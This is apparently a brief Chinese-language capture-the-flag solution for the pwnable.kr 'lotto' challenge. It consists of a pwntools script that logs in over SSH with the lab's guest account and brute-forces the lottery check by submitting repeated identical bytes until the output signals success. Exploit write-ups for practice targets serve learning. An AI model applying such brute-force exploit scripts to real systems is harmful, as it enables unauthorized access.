直接看规则发现有漏洞，爆破一下即可

```python
from pwn import *

#context.log_level = 'debug'

s = ssh(host='pwnable.kr',user='lotto',password='guest',port=2222)

io = s.process('./lotto')

for i in range(1,46):

    #io.recvuntil('3. Exit')

    io.sendline(str(1))

    io.recvuntil('Submit your 6 lotto bytes :')

    payload = p8(i)*6

    io.sendline(payload)

    string = io.recvuntil('3. Exit\n')

    #print(string)

    #print('len string:'+str(len(string)))

    if len(string)>0x48:

        print(string)

        break
io.interactive()
```
